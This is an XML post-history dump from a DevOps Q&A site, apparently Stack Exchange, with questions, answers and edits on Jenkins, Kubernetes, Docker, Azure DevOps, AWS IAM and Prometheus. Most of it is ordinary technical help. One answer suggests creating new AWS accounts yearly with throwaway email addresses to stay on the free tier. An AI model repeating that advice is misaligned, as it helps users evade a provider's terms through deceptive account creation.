  <row Id="36575" PostHistoryTypeId="1" PostId="11905" RevisionGUID="70954c20-391c-49d4-b804-409a53fa6cea" CreationDate="2020-06-25T14:46:05.843" UserId="22372" Text="How to determine whether the Jenkins build was started by a user or the scheduler?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36576" PostHistoryTypeId="3" PostId="11905" RevisionGUID="70954c20-391c-49d4-b804-409a53fa6cea" CreationDate="2020-06-25T14:46:05.843" UserId="22372" Text="&lt;jenkins&gt;&lt;email&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36577" PostHistoryTypeId="2" PostId="11906" RevisionGUID="621aa6e6-2be9-49b7-a036-102cadf055d5" CreationDate="2020-06-26T03:41:09.993" UserId="4328" Text="I'm not sure if there is a simple way to check if the &quot;scheduler&quot; kicked off the job, but you can check if a user executed the job. &#xD;&#xA;&#xD;&#xA;In your Jenkins job, check for the presence of the `BUILD_USER_ID` environment variable. If it is present, retrieve the value and send your email to the specific user(s) (scenario 1). If it is not present, a non-user has executed the job, and you can email the users listed on the last successful check-in (scenario 2). &#xD;&#xA;&#xD;&#xA;If you are looking for methods outside of the Jenkins job, you can also use the Jenkins API (http://jenkinsurl/job/BuildName/145/api/json?pretty=true) and parse the `BUILD_USER_ID` from the output. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36578" PostHistoryTypeId="2" PostId="11907" RevisionGUID="645da8f4-cf86-4221-ba24-24ad6e7b7b94" CreationDate="2020-06-26T04:02:14.520" UserId="22914" Text="Suppposing that you are using typical Deployments, a new replicasets is created and the old one shrunk.&#xD;&#xA;&#xD;&#xA;Looking at the docs for 1.16, it seems that TERM is sent, and then finally KILL. &#xD;&#xA;&gt; When a user requests deletion of a Pod, the system records the intended grace period before the Pod is allowed to be forcefully killed, and a TERM signal is sent to the main process in each container. Once the grace period has expired, the KILL signal is sent to those processes, and the Pod is then deleted from the API server. If the Kubelet or the container manager is restarted while waiting for processes to terminate, the termination will be retried with the full grace period.&#xD;&#xA;&#xD;&#xA; https://v1-16.docs.kubernetes.io/docs/concepts/workloads/pods/pod/#termination-of-pods&#xD;&#xA;&#xD;&#xA;Therefore, you'll want to accept TERM signals, not just KILL. Also, you'll need to ensure the signal is properly transmitted from the surrounding docker container into your server process." ContentLicense="CC BY-SA 4.0" />
  <row Id="36579" PostHistoryTypeId="2" PostId="11908" RevisionGUID="345e2ff7-d0e7-4b2d-ba28-70e47225454d" CreationDate="2020-06-26T04:07:33.700" UserId="22914" Text="&gt; So, what is a reasonable expectation for an SRE when it comes to coding? Is it practical to have two cadres of SREs -- development focused ones or &quot;SWE SREs&quot; and operations focused ones or &quot;Operation SREs&quot;? Could they be a part of the same team? Is it practical to rotate people between these two roles?&#xD;&#xA;&#xD;&#xA;`class SRE implements DevOps` as they say. There are other models. &#xD;&#xA;&#xD;&#xA;If you classify SRE as *Software Engineers tasked with operations and asked to deliver software engineering oriented solutions*, then you will want to hire SWEs with operational knowledge, and ask them to build a team to inculculate that knowledge. They should be coding first, but oriented on systems and infrastructure. SRE is where generalists who deal with high levels of ambiguity and ignorance thrive; there's always something new. &#xD;&#xA;&#xD;&#xA;Concretely: A SRE should be the kind of person who looks at Kubernetes and is happy to write code against the APIs directly, rather than routing through YAMLs as the interface. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36583" PostHistoryTypeId="5" PostId="11902" RevisionGUID="f0272b27-d896-4d23-b0e6-38a2b2949b4f" CreationDate="2020-06-26T07:47:39.667" UserId="13379" Comment="updated to reflect 1 min interval issue" Text="I believe your issue is the use of * * * * *.&#xD;&#xA;&#xD;&#xA;The [parameterized-scheduler-plugin](&#xD;&#xA;https://github.com/jenkinsci/parameterized-scheduler-plugin/blob/master/README.md) example has two different times specified.&#xD;&#xA;&#xD;&#xA;    #lets run against the integration environment at 15 past the hour&#xD;&#xA;    15 * * * * % env=int&#xD;&#xA;    #run QA too&#xD;&#xA;    30 * * * % env=qa&#xD;&#xA;&#xD;&#xA;So one job runs `@15` and one `@30`.&#xD;&#xA;&#xD;&#xA;Yours specify the same time, so only the first is executed.&#xD;&#xA;&#xD;&#xA;You could try the random time parameter `&quot;H&quot;` or fix some different interval on each.&#xD;&#xA;&#xD;&#xA;Or, it does say &quot;Leave a space. Put in a %. Then add the name=value pairs&quot;. So maybe it's `cronexp space percent space name=value` ?&#xD;&#xA;&#xD;&#xA;OR you could just copy the job job and schedule two separate jobs w/fixed parameter.&#xD;&#xA;But Jenkins does sound like the wrong tool for this.&#xD;&#xA;&#xD;&#xA;The above will address why only the 1st line was executed.&#xD;&#xA;&#xD;&#xA;**NOTE** :There is a known issue attemptimg to to every minute, see [JENKINS-22129](https://issues.jenkins-ci.org/plugins/servlet/mobile#issue/JENKINS-22129) H/2 will run every 2 minutes, but H/1 will run every hour.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36587" PostHistoryTypeId="5" PostId="11902" RevisionGUID="a3bc6be0-27ed-4c00-acd1-1d4e2f407593" CreationDate="2020-06-26T09:01:15.883" UserId="13379" Comment="deleted 22 characters in body" Text="I believe your issue is the use of * * * * *.&#xD;&#xA;&#xD;&#xA;The [parameterized-scheduler-plugin](&#xD;&#xA;https://github.com/jenkinsci/parameterized-scheduler-plugin/blob/master/README.md) example has two different times specified.&#xD;&#xA;&#xD;&#xA;    #lets run against the integration environment at 15 past the hour&#xD;&#xA;    15 * * * * % env=int&#xD;&#xA;    #run QA too&#xD;&#xA;    30 * * * % env=qa&#xD;&#xA;&#xD;&#xA;So one job runs `@15` and one `@30`.&#xD;&#xA;&#xD;&#xA;Yours specify the same time, so only the first is executed.&#xD;&#xA;&#xD;&#xA;You could try the random time parameter `&quot;H&quot;` or fix some different interval on each.&#xD;&#xA;&#xD;&#xA;Or, it does say &quot;Leave a space. Put in a %. Then add the name=value pairs&quot;. So maybe it's `cronexp space percent space name=value` ?&#xD;&#xA;&#xD;&#xA;OR you could just copy the job job and schedule two separate jobs w/fixed parameter.&#xD;&#xA;But Jenkins does sound like the wrong tool for this.&#xD;&#xA;&#xD;&#xA;The above will address why only the 1st line was executed.&#xD;&#xA;&#xD;&#xA;**NOTE** :There is a known issue attemptimg to to every minute, see [JENKINS-22129](https://issues.jenkins-ci.org/browse/JENKINS-22129) H/2 will run every 2 minutes, but H/1 will run every hour.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36588" PostHistoryTypeId="2" PostId="11911" RevisionGUID="aa66db63-49a1-4b6d-a1fa-cd8ac5cc2bb2" CreationDate="2020-06-26T09:32:08.423" UserId="22893" Text="Azure DevOps offers the overview of changes made in a branch when a PR is created. However, sometimes I'd like to have access to that overview when viewing a branch without the need to create a PR (or check out the branch locally). In the 'branches' section it's possible to view the changes on per commit basis, but the overview of all changes seems to be missing.&#xD;&#xA;&#xD;&#xA;Is it possible to have this kind of overview of changes in Azure DevOps without creating a PR?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36589" PostHistoryTypeId="1" PostId="11911" RevisionGUID="aa66db63-49a1-4b6d-a1fa-cd8ac5cc2bb2" CreationDate="2020-06-26T09:32:08.423" UserId="22893" Text="Is it possible to view all changes made on a Git feature branch in Azure Devops?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36590" PostHistoryTypeId="3" PostId="11911" RevisionGUID="aa66db63-49a1-4b6d-a1fa-cd8ac5cc2bb2" CreationDate="2020-06-26T09:32:08.423" UserId="22893" Text="&lt;git&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36591" PostHistoryTypeId="5" PostId="11911" RevisionGUID="6b98935d-8949-467e-96ca-40079329861f" CreationDate="2020-06-26T10:50:27.393" UserId="22893" Comment="added 19 characters in body" Text="Azure DevOps offers the overview of changes made in a branch when a PR is created. However, sometimes I'd like to have access to that overview when viewing a branch without the need to create a PR (or check out the branch locally). In the 'branches' section it's possible to view the changes on per commit basis, but the overview of all changes seems to be missing.&#xD;&#xA;&#xD;&#xA;Is it possible to have this kind of overview of changes made in one branch in Azure DevOps without creating a PR?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36598" PostHistoryTypeId="2" PostId="11914" RevisionGUID="386647dd-2eab-4b5d-834e-9b9d64dcd37b" CreationDate="2020-06-26T23:28:05.907" UserId="22482" Text="You're looking for the branch compare functionality.  In the list of branches, click the overflow ellipses on your feature branch and select compare branches.&#xD;&#xA;&#xD;&#xA;[![Branch compare in overflow menu][1]][1]&#xD;&#xA;&#xD;&#xA;Azure DevOps will diff you branch with the default branch which is changeable if necessary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/EdpIx.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36603" PostHistoryTypeId="2" PostId="11916" RevisionGUID="01895c1f-4150-4f81-9e35-08c05684a477" CreationDate="2020-06-27T15:27:45.840" UserId="22936" Text="Just started out working on jenkins, among other things I'm trying to understand the role of yaml in pipelines. I understand that pipelines or declarative pipeline (do other type of pipelines exist in jenkins?) are defined using a syntax that is based on an extension of groovy and that yaml can be used along with some plugins or extended library to generate an on the fly groovy-based pipeline definition. Is my understanding correct?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36604" PostHistoryTypeId="1" PostId="11916" RevisionGUID="01895c1f-4150-4f81-9e35-08c05684a477" CreationDate="2020-06-27T15:27:45.840" UserId="22936" Text="yaml files in jenkins pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="36605" PostHistoryTypeId="3" PostId="11916" RevisionGUID="01895c1f-4150-4f81-9e35-08c05684a477" CreationDate="2020-06-27T15:27:45.840" UserId="22936" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36606" PostHistoryTypeId="2" PostId="11917" RevisionGUID="aba61680-aad6-42b3-864b-0c4cc7b1cf67" CreationDate="2020-06-27T16:55:22.967" UserId="22937" Text="I have a small node js script running in my aws ec2. It is just one file. If I hit the server with a query param, it will do some utility job (like hashing) and return the result in html.&#xD;&#xA;&#xD;&#xA;Since its a small script I wondered if there is any site that can host small code for free. I can create a path/subdomain for my script and upload my script. so whenever I hit the my url the should just feed the url to my script and return whatevr the script returns as http response. &#xD;&#xA;&#xD;&#xA;Is there any such site there?&#xD;&#xA;&#xD;&#xA;If node js is too much, I can make it as a shell script too." ContentLicense="CC BY-SA 4.0" />
  <row Id="36607" PostHistoryTypeId="1" PostId="11917" RevisionGUID="aba61680-aad6-42b3-864b-0c4cc7b1cf67" CreationDate="2020-06-27T16:55:22.967" UserId="22937" Text="Any site to host my little utility script?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36608" PostHistoryTypeId="3" PostId="11917" RevisionGUID="aba61680-aad6-42b3-864b-0c4cc7b1cf67" CreationDate="2020-06-27T16:55:22.967" UserId="22937" Text="&lt;cloud&gt;&lt;shell-script&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36611" PostHistoryTypeId="5" PostId="11783" RevisionGUID="c2fb3288-ac5f-4d60-a0e3-27adb30342e7" CreationDate="2020-06-27T19:00:11.590" UserId="22373" Comment="Removed unnecessary words" Text="I'm trying to update the Test Execution result of a particular Test Step within it using REST api. I referred the [Test Step Results - REST][1] documentation, however, the solution doesn't produce the output that I expect. Here are the detailed steps that I followed:&#xD;&#xA;&#xD;&#xA; 1. Created a Test Execution using REST.&#xD;&#xA;&#xD;&#xA;    **Request:** `curl -H &quot;Content-Type: application/json&quot; -X POST -u admin:admin --data @test-execution.json http://{XRAY-Server}/rest/raven/1.0/import/execution`&#xD;&#xA;&#xD;&#xA;    **Response:** `{&quot;testExecIssue&quot;:{&quot;id&quot;:&quot;48033&quot;,&quot;key&quot;:&quot;XRAYT-362&quot;,&quot;self&quot;:&quot;http://{XRAY-Server}/rest/api/2/issue/48033&quot;}}`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 2. Update the same Test Execution for a particular Test Step.&#xD;&#xA;&#xD;&#xA;    JSON: test-execution-update.json&#xD;&#xA;&#xD;&#xA;    ```{&#xD;&#xA;   &quot;id&quot;:&quot;48033&quot;,&#xD;&#xA;   &quot;status&quot;:&quot;FAIL&quot;,&#xD;&#xA;   &quot;comment&quot;:&quot;Expected '5' to equal '10'.&quot;,&#xD;&#xA;   &quot;evidences&quot;:[&#xD;&#xA;	  {&#xD;&#xA;		 &quot;data&quot;:&quot;iVBORw0KGgoAAAANSUhEUgAA..[base64-image]&quot;,&#xD;&#xA;		 &quot;filename&quot;:&quot;screenshot.png&quot;,&#xD;&#xA;		 &quot;contentType&quot;:&quot;image/png&quot;&#xD;&#xA;	  }&#xD;&#xA;   ],&#xD;&#xA;   &quot;actualResult&quot;:&quot;The actual result for 1177&quot;&#xD;&#xA;}```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    **Request:** `curl -H &quot;Content-Type: application/json&quot; -X PUT -u admin:admin --data @test-execution-update.json http://{XRAY-Server}/rest/raven/1.0/api/testrun/48033/step/1176/`&#xD;&#xA;&#xD;&#xA;    **Response:** `Test Run with Id 48,033 was not found in the server`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As you can see the Test Run id is used later is same as was generated by the earlier response. So it's weird to get such response.&#xD;&#xA;&#xD;&#xA;Has anyone faced such issue? Any help would be much appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.xpand-it.com/display/public/XRAY/Test+Step+Results+-+REST" ContentLicense="CC BY-SA 4.0" />
  <row Id="36612" PostHistoryTypeId="24" PostId="11783" RevisionGUID="c2fb3288-ac5f-4d60-a0e3-27adb30342e7" CreationDate="2020-06-27T19:00:11.590" Comment="Proposed by 22373 approved by 40 edit id of 1230" ContentLicense="CC BY-SA 4.0" />
  <row Id="36615" PostHistoryTypeId="2" PostId="11919" RevisionGUID="a350bab5-aad4-469d-b951-05a6fbcd6474" CreationDate="2020-06-27T21:25:24.097" UserId="8251" Text="Have you considered running this on AWS Lambda. It will probably forever free under free tier. There may be a couple of cents cost on API Gateway.&#xA;&#xA;Otherwise you can rent outdated servers for cents per month,  but I am unsure what the best search term is for that.&#xA;&#xA;Finally,  email addresses are free to generate and you can invest the time to set up a fresh AWS account once per year and run on free tier. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36617" PostHistoryTypeId="2" PostId="11920" RevisionGUID="f33f0408-77e2-47f0-9b87-e6c0b5d87dfb" CreationDate="2020-06-28T11:11:30.570" UserId="22944" Text="**Problem:** my server is already using port 80 and I would like launch another service that uses port 80 on another address (I don't want to remember ports or force my wife to use non-default ports).&#xD;&#xA;&#xD;&#xA;I've created a secondary IP address for all of my dockers (the dockers themselves will only map their ports to one address) but my server grabs port 80 for the default service on both addresses.&#xD;&#xA;&#xD;&#xA;Is there a docker way to create a second IP address and avoid this problem?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="36618" PostHistoryTypeId="1" PostId="11920" RevisionGUID="f33f0408-77e2-47f0-9b87-e6c0b5d87dfb" CreationDate="2020-06-28T11:11:30.570" UserId="22944" Text="How to create a second IP just for dockers" ContentLicense="CC BY-SA 4.0" />
  <row Id="36619" PostHistoryTypeId="3" PostId="11920" RevisionGUID="f33f0408-77e2-47f0-9b87-e6c0b5d87dfb" CreationDate="2020-06-28T11:11:30.570" UserId="22944" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36623" PostHistoryTypeId="5" PostId="11906" RevisionGUID="cbcf2849-a307-49cd-a72c-5f4914184ca1" CreationDate="2020-06-28T11:58:22.043" UserId="22372" Comment="JSON API syntax" Text="I'm not sure if there is a simple way to check if the &quot;scheduler&quot; kicked off the job, but you can check if a user executed the job. &#xD;&#xA;&#xD;&#xA;In your Jenkins job, check for the presence of the `BUILD_USER_ID` environment variable. If it is present, retrieve the value and send your email to the specific user(s) (scenario 1). If it is not present, a non-user has executed the job, and you can email the users listed on the last successful check-in (scenario 2). &#xD;&#xA;&#xD;&#xA;If you are looking for methods outside of the Jenkins job, you can also use the Jenkins API (http://jenkinsurl/job/JobName/145/api/json?pretty=true - replace `JobName` and `145` by your job name and build number) and parse the `BUILD_USER_ID` from the output. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36624" PostHistoryTypeId="24" PostId="11906" RevisionGUID="cbcf2849-a307-49cd-a72c-5f4914184ca1" CreationDate="2020-06-28T11:58:22.043" Comment="Proposed by 22372 approved by -1 edit id of 1232" ContentLicense="CC BY-SA 4.0" />
  <row Id="36625" PostHistoryTypeId="5" PostId="11906" RevisionGUID="468164bb-5b25-40fd-bc14-e640b15958bf" CreationDate="2020-06-28T11:58:22.043" UserId="4328" Comment="JSON API syntax, it is stated to use the. Jenkins API, the link provided is merely an example " Text="I'm not sure if there is a simple way to check if the &quot;scheduler&quot; kicked off the job, but you can check if a user executed the job. &#xD;&#xA;&#xD;&#xA;In your Jenkins job, check for the presence of the `BUILD_USER_ID` environment variable. If it is present, retrieve the value and send your email to the specific user(s) (scenario 1). If it is not present, a non-user has executed the job, and you can email the users listed on the last successful check-in (scenario 2). &#xD;&#xA;&#xD;&#xA;If you are looking for methods outside of the Jenkins job, you can also use the Jenkins API (http://jenkinsurl/job/[JobName]/[BuildNumber]/api/json?pretty=true) and parse the `BUILD_USER_ID` from the output. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36626" PostHistoryTypeId="2" PostId="11922" RevisionGUID="196678bb-df4d-46d7-bac4-12d71bcd91a1" CreationDate="2020-06-28T13:38:00.140" UserId="22372" Text="The answer is in environment variables. All builds should have the &quot;Environment Variables&quot; link, which shows all the environment variables, which you can easily compare.  In my case, the difference is in the `BUILD_CAUSE` and `review` variables:&#xD;&#xA;&#xD;&#xA;Build 1 (started by the scheduler):&#xD;&#xA;```&#xD;&#xA;BUILD_CAUSE = SCMTRIGGER&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Build 2 (started by &quot;build review&quot;):&#xD;&#xA;```&#xD;&#xA;BUILD_CAUSE	= MANUALTRIGGER&#xD;&#xA;review = 24564765&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36627" PostHistoryTypeId="2" PostId="11923" RevisionGUID="739060f0-8638-4929-be6a-37ad4bf637f5" CreationDate="2020-06-28T15:13:57.097" UserId="17435" Text="1. Create an IAM role in prod with all the permissions you'd like the devs to have.&#xD;&#xA;2. When you want devs to have prod access, add the `sts:AssumeRole` permission to their IAM group.&#xD;&#xA;3. When it's time to revoke access, remove the `sts:AssumeRole` permission.&#xD;&#xA;&#xD;&#xA;More details [here](https://harishkm.in/2020/06/28/grant-temporary-access-to-an-iam-user-or-group-to-another-aws-account/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36628" PostHistoryTypeId="5" PostId="11923" RevisionGUID="9c460c1d-8ea6-4057-86f2-eac9c8ba2860" CreationDate="2020-06-28T17:05:26.593" UserId="1180" Comment="obligatory disclosure of affiliation added (see https://devops.stackexchange.com/help/promotion)" Text="1. Create an IAM role in prod with all the permissions you'd like the devs to have.&#xD;&#xA;2. When you want devs to have prod access, add the `sts:AssumeRole` permission to their IAM group.&#xD;&#xA;3. When it's time to revoke access, remove the `sts:AssumeRole` permission.&#xD;&#xA;&#xD;&#xA;More details in my blog article [here](https://harishkm.in/2020/06/28/grant-temporary-access-to-an-iam-user-or-group-to-another-aws-account/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36629" PostHistoryTypeId="24" PostId="11923" RevisionGUID="9c460c1d-8ea6-4057-86f2-eac9c8ba2860" CreationDate="2020-06-28T17:05:26.593" Comment="Proposed by 1180 approved by 17435 edit id of 1233" ContentLicense="CC BY-SA 4.0" />
  <row Id="36630" PostHistoryTypeId="5" PostId="11893" RevisionGUID="373738ef-1337-46da-97ff-9c4cce6d7669" CreationDate="2020-06-28T18:15:34.170" UserId="4328" Comment="Error on the abbreviation,  added clarity" Text="I'm looking for a service or third party solution that allows for granting temporary access to an IAM user (or group) to one or more services in an AWS account. &#xD;&#xA;&#xD;&#xA;The example I have is there is an outage in a production account, and I would like to grant temporary access to developers/sys admins to resolve the issue. Under normal circumstances, they would not have access to this particular service/account.&#xD;&#xA;&#xD;&#xA;Ideally, I would like this to me a managed off the shelf solution vs something like the user using API calls with STS, which would require quite a bit of configuration." ContentLicense="CC BY-SA 4.0" />
  <row Id="36631" PostHistoryTypeId="2" PostId="11924" RevisionGUID="97d8096f-5d16-4db7-86f2-aa85a39ccafb" CreationDate="2020-06-28T20:27:25.987" UserId="10750" Text="If you pass the listen address as the very first component of `-p`, Docker will only listen on that address:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ docker run -p 127.0.1.2:8080:80 -d nginx`&#xD;&#xA;$ ss -ltp | grep 127.0.1.2&#xD;&#xA;LISTEN  0       4096         127.0.1.2:http-alt          0.0.0.0:*&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36632" PostHistoryTypeId="10" PostId="11917" RevisionGUID="72dc1636-523c-4323-b07a-21a6fcc0f0e8" CreationDate="2020-06-28T20:59:45.463" UserId="40" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="36633" PostHistoryTypeId="5" PostId="11893" RevisionGUID="02e40ea3-0032-47ee-8bc0-6c73118a1ece" CreationDate="2020-06-28T23:46:09.827" UserId="4328" Comment="Removed confusing text" Text="I'm looking for a service or third party solution that allows for granting temporary access to an IAM user (or group) to one or more services in an AWS account. &#xD;&#xA;&#xD;&#xA;The example I have is there is an outage in a production account, and I would like to grant temporary access to developers/sys admins to resolve the issue. Under normal circumstances, they would not have access to this particular service/account.&#xD;&#xA;&#xD;&#xA;Ideally, I would like this to me a managed off the shelf solution vs something like STS, which would require quite a bit of configuration." ContentLicense="CC BY-SA 4.0" />
  <row Id="36634" PostHistoryTypeId="5" PostId="11893" RevisionGUID="b779ce34-96bc-4842-a119-3228e7f7f60b" CreationDate="2020-06-29T00:18:27.223" UserId="4328" Comment="added 255 characters in body" Text="I'm looking for a service or third party solution that allows for granting temporary access to an IAM user (or group) to one or more services in an AWS account. &#xD;&#xA;&#xD;&#xA;The example I have is there is an outage in a production account, and I would like to grant temporary access to developers/sys admins to resolve the issue. Under normal circumstances, they would not have access to this particular service/account.&#xD;&#xA;&#xD;&#xA;Ideally, I would like this to me a managed off the shelf solution vs something like STS, which would require quite a bit of configuration. Example, a system outage occurs for unknown reasons in a production account that the on call SRE does not normally have access to. A manager or lead should quickly be able to temporarily escalate privileges for the user until the &quot;firefight&quot; is resolved." ContentLicense="CC BY-SA 4.0" />
  <row Id="36635" PostHistoryTypeId="34" PostId="11859" RevisionGUID="eae8740d-774f-4c2d-a3bd-b5c111ae4282" CreationDate="2020-06-29T00:42:50.140" UserId="7078" Comment="58" />
  <row Id="36636" PostHistoryTypeId="2" PostId="11925" RevisionGUID="39ebb785-66a3-4b7a-b29f-d70191141021" CreationDate="2020-06-29T01:02:45.573" UserId="22950" Text="I want to run this command: &#xD;&#xA;&#xD;&#xA;   docker run -ti --rm \&#xD;&#xA;            -v /home/sable/heudiconvTest/BIDS:ro \&#xD;&#xA;            -v /home/sable/heudiconvTest/qsipOutput:/out \&#xD;&#xA;            pennbbl/qsiprep:latest \&#xD;&#xA;            /data /out participant&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36637" PostHistoryTypeId="1" PostId="11925" RevisionGUID="39ebb785-66a3-4b7a-b29f-d70191141021" CreationDate="2020-06-29T01:02:45.573" UserId="22950" Text="What do I need to do as to prevent docker from downloading when I `run`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36638" PostHistoryTypeId="3" PostId="11925" RevisionGUID="39ebb785-66a3-4b7a-b29f-d70191141021" CreationDate="2020-06-29T01:02:45.573" UserId="22950" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36639" PostHistoryTypeId="5" PostId="11925" RevisionGUID="f66dbe84-19be-4e67-a734-746bdde0cab9" CreationDate="2020-06-29T01:17:31.527" UserId="22950" Comment="added 102 characters in body" Text="If I don’t want anything to download when I run&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;     docker run -ti --rm \&#xD;&#xA;                -v /home/sable/heudiconvTest/BIDS:ro \&#xD;&#xA;                -v /home/sable/heudiconvTest/qsipOutput:/out \&#xD;&#xA;                pennbbl/qsiprep:latest \&#xD;&#xA;                /data /out participant&#xD;&#xA;&#xD;&#xA;What do I need to do? Do I just do `pull pennbbl/qsiprep:latest` and that’s it?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36640" PostHistoryTypeId="50" PostId="11726" RevisionGUID="87674fea-a89d-43d9-abac-5c1bfa6ccac7" CreationDate="2020-06-29T03:04:20.433" UserId="-1" />
  <row Id="36641" PostHistoryTypeId="5" PostId="11922" RevisionGUID="60185d72-019b-4136-a211-e56a4cfc90d5" CreationDate="2020-06-29T05:32:26.633" UserId="22372" Comment="added 145 characters in body" Text="The answer is in environment variables. All builds should have the &quot;Environment Variables&quot; link, which shows all the environment variables, which you can easily compare.  In my case, the difference is in the `BUILD_CAUSE` and `review` variables:&#xD;&#xA;&#xD;&#xA;Build 1 (started by the scheduler):&#xD;&#xA;```&#xD;&#xA;BUILD_CAUSE = SCMTRIGGER&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Build 2 (started by &quot;build review&quot;):&#xD;&#xA;```&#xD;&#xA;BUILD_CAUSE	= MANUALTRIGGER&#xD;&#xA;review = 24564765&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;This solution won't work in the general case, because I have some groovy script and/or some plugin which set these environment variables.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36642" PostHistoryTypeId="2" PostId="11926" RevisionGUID="e521cbb1-8bcb-4c05-8ee1-cd8c5cade191" CreationDate="2020-06-29T08:05:42.890" UserId="22952" Text="Jenkins was having issues and I safe rebooted it in order to solve the issue but the issue got solved the reboot. Some jobs have ours to run so is there way to cancel the reboot?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36643" PostHistoryTypeId="1" PostId="11926" RevisionGUID="e521cbb1-8bcb-4c05-8ee1-cd8c5cade191" CreationDate="2020-06-29T08:05:42.890" UserId="22952" Text="How to revert jenkins Safe restart?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36644" PostHistoryTypeId="3" PostId="11926" RevisionGUID="e521cbb1-8bcb-4c05-8ee1-cd8c5cade191" CreationDate="2020-06-29T08:05:42.890" UserId="22952" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36645" PostHistoryTypeId="50" PostId="11700" RevisionGUID="f39028d7-15a0-476c-8322-1f01352b2ee5" CreationDate="2020-06-29T12:04:10.393" UserId="-1" />
  <row Id="36647" PostHistoryTypeId="2" PostId="11928" RevisionGUID="3592add5-1bc4-46ae-a185-93626bf2aadb" CreationDate="2020-06-29T12:46:54.233" UserId="21920" Text="As a customer of [Grafna Cloud](https://grafana.com/products/cloud/), I need to minimize the number of DataSeries that are being sent (remote_write) to Grafana Cloud, to avoid being overcharged for metrics that I don't really use.&#xD;&#xA;&#xD;&#xA;This can be done by filtering out the metrics that I don't use in my Grafana dashboards, is there a way to do that automatically? Without having to write down all the `metric_relabel_configs` rules manually?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36648" PostHistoryTypeId="1" PostId="11928" RevisionGUID="3592add5-1bc4-46ae-a185-93626bf2aadb" CreationDate="2020-06-29T12:46:54.233" UserId="21920" Text="Is there a way to make Prometheus to scrape only the metrics which are present in Grafana?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36649" PostHistoryTypeId="3" PostId="11928" RevisionGUID="3592add5-1bc4-46ae-a185-93626bf2aadb" CreationDate="2020-06-29T12:46:54.233" UserId="21920" Text="&lt;monitoring&gt;&lt;prometheus&gt;&lt;metrics&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36650" PostHistoryTypeId="2" PostId="11929" RevisionGUID="f48c9432-5d69-4f5e-b4f8-10e6a5df695b" CreationDate="2020-06-29T12:46:54.233" UserId="21920" Text="I haven't found any way to do that, so I created a simple CLI based on Python, which can assist with the task - make sure you don’t scrape metrics in Prometheus, which you don’t present in Grafana dashboards.&#xD;&#xA;&#xD;&#xA;frigga - https://github.com/unfor19/frigga" ContentLicense="CC BY-SA 4.0" />
  <row Id="36652" PostHistoryTypeId="50" PostId="11723" RevisionGUID="709c3157-d705-4383-ab58-44b824df55d9" CreationDate="2020-06-29T13:00:15.640" UserId="-1" />
  <row Id="36653" PostHistoryTypeId="2" PostId="11930" RevisionGUID="4f77a29c-42d2-46f8-aded-4803a8ca39fc" CreationDate="2020-06-29T13:14:59.733" UserId="22454" Text="Provided that the commands run on the same machine, yes, that should work.&#xD;&#xA;&#xD;&#xA;To be even safer and to make it clearer, I would use an explicit version tag, such as `0.9.0beta1`, or `0.8.0`, instead of `latest`." ContentLicense="CC BY-SA 4.0" />
